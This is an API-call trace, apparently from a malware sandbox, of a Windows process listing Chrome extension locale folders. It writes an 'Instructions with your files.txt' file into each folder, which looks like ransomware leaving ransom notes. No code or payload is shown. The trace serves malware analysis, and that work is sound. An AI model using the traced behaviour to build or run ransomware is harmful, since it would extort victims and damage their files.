[0129.172] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*") returned 144
[0129.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.172] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\.") returned 144
[0129.172] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.172] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\..") returned 145
[0129.172] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.172] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 156
[0129.172] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.172] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.172] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\Instructions with your files.txt") returned 175
[0129.172] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.173] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.173] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.173] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.174] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.174] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.174] CloseHandle (hObject=0x134) returned 1
[0129.174] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.174] GetProcessHeap () returned 0x810000
[0129.174] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.174] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
[0129.174] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de") returned 142
[0129.174] GetProcessHeap () returned 0x810000
[0129.174] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.174] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*") returned 144
[0129.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.175] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\.") returned 144
[0129.175] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.175] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\..") returned 145
[0129.175] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.175] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 156
[0129.175] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.175] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.175] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\Instructions with your files.txt") returned 175
[0129.175] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.176] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.176] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.177] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.177] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.177] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.177] CloseHandle (hObject=0x134) returned 1
[0129.177] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.177] GetProcessHeap () returned 0x810000
[0129.177] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.177] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
[0129.177] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el") returned 142
[0129.177] GetProcessHeap () returned 0x810000
[0129.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.177] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*") returned 144
[0129.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.178] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\.") returned 144
[0129.178] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.178] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\..") returned 145
[0129.178] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.178] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 156
[0129.178] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.178] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.178] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\Instructions with your files.txt") returned 175
[0129.178] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.178] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.179] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.179] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.179] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.179] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.180] CloseHandle (hObject=0x134) returned 1
[0129.180] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.180] GetProcessHeap () returned 0x810000
[0129.180] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.180] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
[0129.180] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB") returned 145
[0129.180] GetProcessHeap () returned 0x810000
[0129.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.180] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*") returned 147
[0129.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.181] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\.") returned 147
[0129.181] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.181] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\..") returned 148
[0129.181] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.181] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 159
[0129.181] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.181] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.181] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\Instructions with your files.txt") returned 178
